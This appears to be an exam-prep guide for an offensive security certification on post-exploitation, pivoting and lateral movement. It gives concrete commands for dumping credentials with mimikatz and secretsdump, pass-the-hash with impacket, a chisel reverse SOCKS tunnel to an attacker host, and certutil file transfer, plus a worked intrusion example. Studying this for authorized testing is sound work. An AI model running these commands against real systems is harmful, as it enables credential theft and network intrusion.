I85PREP
⌘ K
OSC study materials
OSC study resources

OSC: Post-Exploitation, Pivoting, and Lateral Movement

OSC · Work through your exam, one topic at a time.

All guide sections

Post-Exploitation, Pivoting, and Lateral Movement

This domain covers what happens after the first shell: harvesting credentials, reaching hosts that were unreachable, and proving impact without losing access or breaking the environment.

Core rules

  • Dump credentials where they live: /etc/shadow and .ssh keys on Linux; SAM, LSA and LSASS via secretsdump.py, mimikatz, or registry hives on Windows.
  • Pass-the-hash with impacket: psexec.py -hashes :NThash domain/user@target; prefer wmiexec.py when SMB is filtered.
  • Pivot with a SOCKS proxy: chisel server -p 8000 --reverse on your host, chisel client ATTACKER:8000 R:socks on the foothold, then socks5 127.0.0.1 1080 in /etc/proxychains4.conf.
  • Through a proxy, scan with nmap -sT -Pn -n; raw packets will not survive the tunnel.
  • Transfer files with what already exists: certutil -urlcache -f, curl, wget, python3 -m http.server, impacket smbserver.py.
  • Keep persistence minimal and in scope, and note every change so it can be removed.

Worked example

From a DMZ web server you can reach 10.10.20.15, but not from your attack box. You upload chisel, start a reverse SOCKS listener, and confirm with proxychains nmap -sT -Pn -p 445,3389 10.10.20.15. Port 445 is open, so you reuse a local administrator hash harvested on the web server with wmiexec.py and land on the internal host. Reasoning: the tunnel makes the internal network reachable through the compromised host, and hash reuse avoids needing a plaintext password.

Traps that cost marks

Forgetting proxychains and wondering why nmap fails; running UDP or SYN scans through SOCKS; dumping LSASS with a heavily flagged tool and losing the session; persisting too aggressively; and losing track of which credential works on which host.